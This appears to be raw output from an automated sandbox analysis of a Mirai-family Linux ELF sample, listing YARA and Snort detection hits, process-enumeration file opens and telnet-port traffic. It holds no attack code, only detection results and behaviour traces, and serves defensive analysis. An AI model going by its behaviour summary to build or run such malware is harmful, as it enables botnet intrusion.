Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal100.spre.troj.linELF@0/0@2/0

Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3640/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3122/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3117/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3114/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/5379/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/914/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/518/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/5416/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/519/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/5417/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/917/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/5273/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3134/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3375/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3132/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3095/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1745/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1866/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1588/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/884/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1982/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/765/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3246/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/767/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/800/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/5544/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1906/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/5545/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/802/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/803/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1748/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/5440/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3420/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1482/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/490/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1480/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1755/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1238/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1875/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3413/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1751/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1872/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/2961/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1475/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/656/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/778/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/657/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/658/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/659/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/418/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/936/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/419/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/816/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1879/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1891/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3310/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3153/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/780/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/660/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1921/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/783/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1765/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/2974/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1400/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1884/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3424/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/2972/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3709/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3147/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/2970/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1881/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3146/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3300/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1805/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1925/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1804/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1648/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1922/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3429/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3442/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3165/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3164/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3163/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3162/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/790/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3161/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/792/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/793/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/672/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1930/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/674/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/795/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1411/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/2984/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/1410/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/797/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/676/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3434/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3158/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/678/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/679/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3710/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3711/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3712/exe	Jump to behavior
Source: /tmp/kncYk2tWvH.elf (PID: 5440)	File opened: /proc/3170/exe	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47520
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47536
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47542
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47566
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47578
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47606
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39392
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39396
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47642
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47706
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39404
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39424
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47716
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39440
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39500
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 47760
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39532
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39538
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39542
Source: unknown	Network traffic detected: HTTP traffic on port 23 -> 39558
Source: unknown	Network traffic detected: HTTP traffic on port 60500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37215 -> 60500

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: kncYk2tWvH.elf, type: SAMPLE
Source: Yara match	File source: 5434.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5441.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5432.1.0000000008048000.0000000008058000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
Source: Traffic	Snort IDS: ETPRO TROJAN Mirai Variant User-Agent (Outbound)
